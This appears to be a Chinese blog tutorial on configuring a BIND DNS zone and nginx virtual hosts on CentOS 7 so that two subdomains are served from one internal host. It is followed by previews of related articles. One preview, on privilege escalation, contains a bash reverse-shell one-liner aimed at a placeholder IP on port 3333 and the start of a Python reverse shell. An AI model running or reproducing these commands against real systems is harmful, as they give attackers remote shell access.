借鉴于朋友的需求,公司需要启用域名访问内部的业务系统,现实情况是内部的业务系统目前使用的是单主机,单nginx多端口的方式再运行,朋友最终想实现启用域名方式问题,且域名不需要用户手工输入端口号

两种思路,一种思路为新增加一台主机使用新增加的主机的nginx反向代理现有的业务系统,另外一直思路是启用nginx的虚拟主机功能。不管是那种思路,都需要配置dns。下文主要描述启用nginx的虚拟主机功能的操作步骤

测试环境

服务器:cetnos 7 1810

Nginx 1.4.2

Dns 使用centos7 1810光盘中携带的bind版本

nginx服务器,dns服务器地址为:172.16.103.8

需求清单,

实现访问aaa.baidu.com,访问的实际位置为172.16.103.8的80端口的nginx html目录中的aaa目录下的index.html,文件内容为aaa.baidu.com

实现访问bbb.baidu.com,访问的实际位置为172.16.103.8的80端口的nginx html目录中的bbb目录下的index.html,文件内容为bbb.baidu.com

参考文章:

https://blog.51cto.com/13525470/2054121

https://blog.csdn.net/qq_39591494/article/details/78857677?tdsourcetag=s_pctim_aiomsg

1,dns配置

挂载光盘

yum install -y bind

修改dns主配置文件

vi /etc/named.conf

12 options {
# options是全局服务器的配置选项,在这里指定的参数,对配置中的任何区域都有效
13 listen-on port 53 { 127.0.0.1; };
# 指定域名服务监听的网络端口,建议写本机IP,不建议写127.0.0.1,如果写127.0.0.1时,其他客户端将无法使用该dns服务器提供的服务,可以写本机的实际IP或者any
14 listen-on-v6 port 53 { ::1; };
15 directory "/var/named";
# 指定named从/var/named目录下读取DNS数据文件
16 dump-file "/var/named/data/cache_dump.db";
# 当执行导出命令时将DNS服务器的缓存数据存储到指定的文件中
17 statistics-file "/var/named/data/named_stats.txt";
# 指定named服务的统计文件,当执行统计命令时会将内存中的统计信息追加到该文件中
18 memstatistics-file "/var/named/data/named_mem_stats.txt";
19 allow-query { localhost; };
# 允许哪些客户端访问DNS服务,此处改为"any",表示任意主机
20
31 recursion yes;
# 开启递归查询
32
33 dnssec-enable yes;
# 开启加密
34 dnssec-validation yes;
# 在递归查询服务器上开启DNSSEC验证
35
36 /* Path to ISC DLV key */
37 bindkeys-file "/etc/named.iscdlv.key";
38
39 managed-keys-directory "/var/named/dynamic";
40
41 pid-file "/run/named/named.pid";
42 session-keyfile "/run/named/session.key";
43 };
44
45 logging {
# named服务的日志文件信息
46 channel default_debug {
47 file "data/named.run";
48 severity dynamic;
49 };
50 };
51 # 每一个zone就是定义一个域的相关信息以及指定了named服务从哪些文件中获得DNS各个域名的数据文件
52 zone "." IN {
# 根(.)域的配置及信息(配置缓存域名服务器,可以自己去了解)
53 type hint;
# 服务器类型
54 file "named.ca";
# 文件路径位置
55 };
56
57 include "/etc/named.rfc1912.zones";
# include代表该文件是子配置文件
58 include "/etc/named.root.key";

添加dns服务器需要解析的区域,添加区域需要修改/etc/named.rfc1912.zones文件

zone "baidu.com" IN {

type master;

file "baidu.com.zone";

allow-update { none; };

};

编辑正向解析区域数据文件

cd /var/named/

cp -p named.localhost baidu.com.zone

vi baidu.com.zone

$TTL 1D

@ IN SOA baidu.com. admin.baidu.com. (

0 ; serial

1D ; refresh

1H ; retry

1W ; expire

3H ) ; minimum

NS @

A 127.0.0.1

AAAA ::1

aaa IN A 172.16.103.8

bbb IN A 172.16.103.8

重启named服务

systemctl restart named

安装dig客户端,测试解析是否正常

yum install bind-utils

修改本机dns服务器地址

vi /etc/resolv.conf

nameserver=172.16.103.8

测试在本机的dns解析

2,编译安装nginx

传送nginx软件包到/software目录下

[root@localhost software]# tar -zxvf nginx-1.14.2.tar.gz

安装依赖包

yum -y install gcc gcc-c++ autoconf automake pcre-devel openssl openssl-devel

进入解压后的目录,编译安装

[root@localhost software]# cd nginx-1.14.2

[root@localhost nginx-1.14.2]# ./configure --prefix=/usr/local/nginx

[root@localhost nginx-1.14.2]# make & make install

启动nginx服务

[root@localhost nginx-1.14.2]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

查看nginx的监听端口

[root@localhost nginx-1.14.2]# netstat -nutpl |grep nginx

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 5008/nginx: master

如果没有netstat命令,需要安装net-tools,在线安装net-tools的命令为

[root@localhost nginx-1.14.2]# yum install -y net-tools

得知ngxin监听的端口是80,使用浏览器访问两台的80端口上的内容

3,配置nginx的虚拟主机

编辑nginx配置文件,复制server配置项,修改server配置项

vi /usr/local/nginx/conf/nginx.conf

在nginx的html目录下创建aaa目录和bbb目录,并创建index.html文件

重启nginx

cd /usr/local/nginx/sbin/

./nginx -s reload

使用windows客户端做最终测试,windows客户端需要配置dns服务器地址指向172.16.103.8

dns+nginx实现多虚拟主机的更多相关文章

  1. 第四百零二节,Django+Xadmin打造上线标准的在线教育平台—生产环境部署,uwsgi安装和启动,nginx的安装与启动,uwsgi与nginx的配置文件+虚拟主机配置

    第四百零二节,Django+Xadmin打造上线标准的在线教育平台—生产环境部署,uwsgi安装和启动,nginx的安装与启动,uwsgi与nginx的配置文件+虚拟主机配置 软件版本  uwsgi- ...

  2. Nginx(二):虚拟主机配置

    什么是虚拟主机? 虚拟主机使用的是特殊的软硬件技术,它把一台运行在因特网上的服务器主机分成一台台“虚拟”的主机,每台虚拟主机都可以是一个独立的网站,可以具有独立的域名,具有完整的Intemet服务器功 ...

  3. linux上nginx上配置虚拟主机的相关配置

    1.配置主配置: nginx/conf/nginx.conf 2.虚拟主机配置:nginx/conf/extra/learn.weixin.com.conf 配置完后,重启服务器!

  4. Nginx多站点虚拟主机实现单独启动停止php-fpm、单独控制权限设置

    Nginx多站点虚拟主机实现单独启动停止php-fpm.单独控制权限设置 来源:osyunwei.com 作者:qihang01 发表于:2012-08-19 21:26 点击: 说明: 站点1:bb ...

  5. Nginx中关于虚拟主机的一点冷门知识

    一些闲聊 坐标深圳南山. 前两天公司晚上9点过,通知第二天要48小时核酸才能进办公楼.看到消息,已经是9点半多了,走到公司附近的核酸点,是10点过.然后发现那个点人好少,走近了才发现核酸点已经下班了, ...

  6. 通过ngx-lua来统计Nginx上的虚拟主机性能数据

    Web server调研分析 Filed under: Web Server — cmpan @ 2012-10-29 20:38:34 摘要 简单可依赖的架构首先需要有一个简单可依赖的前端WebSe ...

  7. Nginx如何配置虚拟主机?

    注意,该环境是依赖于http://www.php20.com/forum.php?m ... &extra=page%3D1 基础上进行配置.默认不具备这些文件 .下面是增加一个mytest点 ...

  8. Nginx下配置虚拟主机的三种方法

    Nginx下,一个server标签就是一个虚拟主机. 1.基于域名的虚拟主机,通过域名来区分虚拟主机——应用:外部网站 2.基于端口的虚拟主机,通过端口来区分虚拟主机——应用:公司内部网站,外部网站的 ...

  9. nginx介绍(三) - 虚拟主机

    前言 前面提到过, 由nginx来分发请求到tomcat中, 那么怎么来区分这些tomcat呢? 我们一般访问网站的时候, 是不是可以使用 ip : port (127.0.0.1:8080)的方式来 ...

随机推荐

  1. Docker系列(26)- 发布镜像到阿里云容器服务

    1.登录阿里云 2.找到容器镜像服务 3.创建命名空间 4.创建镜像仓库 5.上传镜像

  2. Jmeter系列(10)- Linux环境安装之Jmeter下载配置

    step-1下载 我是之前windows有,就直接copy到Linux系统了 step-2Jmter放到local目录 mv apache-jmeter-5.2.1 /usr/local/ step- ...

  3. javascript 数组 shuffle 洗牌 打乱顺序

    * php shuffle 打乱数组顺序 Array.prototype.shuffle = function () { "use strict"; var a = [], b = ...

  4. python杀死Windows后台程序

    检测 "sogou-gui.exe" 的进程可用tasklist命令 tasklist /FI "IMAGENAME eq sogou-gui.exe" FI: ...

  5. Nginx禁止ip方式访问80、443端口

    在nginx.conf配置文件中 include /etc/nginx/conf.d/*.conf; 之前加入以下内容 server { listen 80 default; listen 443 d ...

  6. IdentityServer4[4]使用密码保护API资源

    使用密码保护API资源(资源所有者密码授权模式) 资源所有者(Resource Owner)就是指的User,也就是用户.所以也称为用户名密码模式.相对于客户端凭证模式,增加了一个参与者User.通过 ...

  7. 提权AND反弹OR转发

    bash -i >& /dev/tcp/ip/3333 0>&1 python -c "import os,socket,subprocess;s=socket. ...

  8. Redis对象

    概述 Redis并没有使用基础数据结构去实现键值数据库,而是基于数据结构封装了一个个对象. 类型和编码 由于Redis是键值数据库,所以每次存储数据时,至少包含两个对象,即K.V对应的对象.其数据结构 ...

  9. Bayou复制分布式存储系统

    本文主要参考文献[1]完成. 第1章导读 Bayou是一个复制的.弱一致性的存储系统,用于移动计算环境.为了最大化可用性,Bayou为用户提供了可以任意读写访问的副本.Bayou的设计侧重于为应用程序 ...

  10. SQL SERVER数据库权限分配

    1,新建 只能访问某一个表的只读用户. --添加只允许访问指定表的用户:         exec     sp_addlogin     '用户名','密码','默认数据库名'           ...